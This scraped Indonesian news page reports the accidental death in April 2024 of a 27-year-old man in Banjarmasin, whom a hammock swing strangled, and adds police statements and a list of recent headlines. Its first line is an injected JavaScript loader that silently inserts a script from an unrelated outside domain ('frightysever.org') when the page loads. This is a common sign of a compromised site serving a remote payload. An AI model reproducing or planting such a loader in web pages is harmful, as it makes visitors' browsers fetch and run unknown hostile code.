(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Nyawa Lelaki di Banjarmasin Berakhir dalam Lilitan Ayunan Hammock


KANALKALIMANTAN.COM, BANJARMASIN – Warga Jalan Sepakat Kelurahan Pemurus Dalam, Kecamatan Banjarmasin Selatan digegerkan dengan ditemukannya seorang lelaki dalam kondisi tidak bernyawa di depan pintu kamar rumahnya, Selasa (23/4/2024) siang.

SA (27) awalnya dikira sebagai pelaku bunuh diri. Namun, berdasarkan keterangan keluarga, SA yang memiliki gangguan kejiwaan itu meninggal karena tidak sengaja tercekik ayunan jenis hammock yang ia mainkan di dalam rumahnya.

Kapolsek Banjarmasin Selatan Kompol Agus Sugianto melalui Kanit Reskrim Iptu Sudirno mengonfirmasi jika warga Kelurahan Pemurus Dalam tersebut bukan meninggal dunia karena bunuh diri.

Baca juga: Terduga Maling Sepeda Motor Diringkus Warga di Jalan Trikora

Berdasarkan pengakuan ayah SA, Sahruji (60), SA menurut Iptu Sudirno telah mengalami gangguan kejiwaan sejak berumur 14 tahun dan bolak-balik melakukan perawatan di Rumah Sakit Jiwa (RSJ) Sambang Lihum.

“Terakhir dirawat di RSJ Sambang Lihum pada tanggal 20 Februari 2024 dan keluar pada tanggal 14 Maret 2024,” kata Kanitreskrim.

Kejadian pada Selasa (23/4/2024) sekitar pukul 10.30 Wita, SA diceritakan sedang bermain ayunan sendirian di depan kamar. Saat itu ayah SA sekitar 1 jam berada di luar rumah.

Baca juga: Pipa Induk BPAM Banjarbakula Masih Bocor, Atasi Krisis Air Pasok dari Irigasi

“Diduga pada saat itu SA sedang bermain ayunan hingga membuat dirinya terikat ayunan di leher, badan hingga pusar yang membuat dia tercekik dan kehabisan napas,” kata Iptu Sudirno.

Sahruji yang datang ke rumah mendapati anaknya tersebut sudah dalam kondisi terikat dan tercekik oleh ayunan di depan pintu kamar.

Masih dari pengakuan Sahruhi, setelah melihat SA terikat langsung memanggil saksi Hitmi (39) untuk membantu menurunkan dari ayunan. Namun, ternyata setelah dicek sudah meninggal dunia.

Baca juga: Tak Perlu Ribet, Bayar PBB Kini Bisa Lewat BRImo

Di lokasi kejadian, ditemukan barang bukti berupa ayunan yang terbuat dari kain berwarna hijau dengan panjang sekitar 3 meter.

“Ayah SA menolak untuk dilakukan visum dan autopsi,” pungkas Kaniteskrim. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Muhammad Andi

Recent Posts

Ibu Ruli Terima Kursi Roda Bantuan Polsek Banjarbaru Utara

KANALKALIMANTAN.COM, BANJARBARU - Bentuk kepedulian terhadap masyarakat, Unit Binmas Polsek Banjarbaru Utara memberikan bantuan sebuah… Read More

2 jam ago

Ini Alasan Pemko Banjarbaru Larang Peternakan Babi Ada di Ibu Kota

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More

4 jam ago

Habisi Nyawa Sesama Sopir di Banjarmasin, ARM Ditangkap di Kandangan

KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More

5 jam ago

Peternak Babi di Pandarapan Keberatan Batas Waktu Tiga Bulan Bongkar Kandang

KANALKALIMANTAN.COM, BANJARBARU - Puluhan peternak babi di Jalan Pandarapan RT 34 RW 5, Kelurahan Guntung… Read More

5 jam ago

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

18 jam ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

19 jam ago

This website uses cookies.